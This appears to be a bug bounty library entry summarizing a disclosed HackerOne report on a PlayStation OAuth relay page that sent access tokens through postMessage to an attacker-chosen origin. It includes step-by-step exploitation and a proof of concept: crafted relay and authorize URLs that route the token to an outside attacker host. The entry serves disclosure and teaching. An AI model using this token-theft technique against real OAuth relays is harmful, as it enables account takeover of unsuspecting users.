# Access token stealing.

OAuth token relay page at my.playstation.com/auth/response.html trusted a requestID-controlled postMessage target, letting an attacker steal the access token and take over accounts.

- Payout: $1,200
- Severity: high
- Program: PlayStation
- Found by: bugdiscloseguys
- Disclosed: 2020-11-21
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/821896
- Library page: https://bugbountylibrary.com/r/h1%3A821896
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:high tech:oauth technique:chained technique:source-review vuln:access-control vuln:auth-bypass

**Target:** my.playstation.com/auth/response.html OAuth token relay (postMessage)
**Root cause:** The relay script derives the postMessage target origin from the attacker-controllable targetOrigin query param and the frame type from requestID; a requestID starting with 'window' routes the token to window.opener.postMessage with attacker-chosen origin.
**Steps:**
1. Craft relay URL: `https://my.playstation.com/auth/response.html?requestID=window_request_<uuid>&baseUrl=/&targetOrigin=https://rce.ee/`
2. Build OAuth authorize URL with `redirect_uri` set to that relay URL (URL-encoded), `response_type=token`, `prompt=none`, valid client_id
3. Victim logged into playstation.com opens attacker page which loads the authorize URL
4. Token lands in relay page hash; script parses it and calls `window.opener.postMessage(token, 'https://rce.ee/')`
5. Attacker page receives the access token and uses it for account takeover
**How found:** Read the response.html JavaScript and noticed parseResponse merges hash+query into an object, then sendResponseToApp uses requestID to pick a postMessage branch and targetOrigin as the destination origin — both attacker-controlled, so the 'window' branch leaks the token to an arbitrary origin.
**Exploitation:** Attacker hosts a page that opens the crafted Sony OAuth authorize URL (redirect_uri pointing at the vulnerable relay with requestID=window_... and targetOrigin=attacker origin). With prompt=none and an existing session, the token is issued to the relay, which posts it to window.opener at the attacker origin. Attacker captures the token and replays it against Sony APIs for account takeover.
**Insight:** OAuth token relay/iframe helper pages that read postMessage target origin and routing from URL params are prime token-theft targets; check whether requestID-style prefixes select a postMessage branch and whether targetOrigin is validated against an allowlist.

## Proof of concept (copied exactly from the original report)

**Malicious response.html URL with attacker targetOrigin**

```
https://my.playstation.com/auth/response.html?requestID=window_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1&baseUrl=/&targetOrigin=https://rce.ee/
```

**OAuth authorize request with attacker redirect_uri**

```
https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%3Aactivity_feed_get_feed_privacy%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%3Aactivity_feed_submit_feed_story%2Ckamaji%3Aactivity_feed_internal_feed_submit_story%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3a//my.playstation.com/auth/response.html%3frequestID%3dwindow_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1%26baseUrl%3d/%26targetOrigin%3dhttps%3a//rce.ee/&prompt=none
```

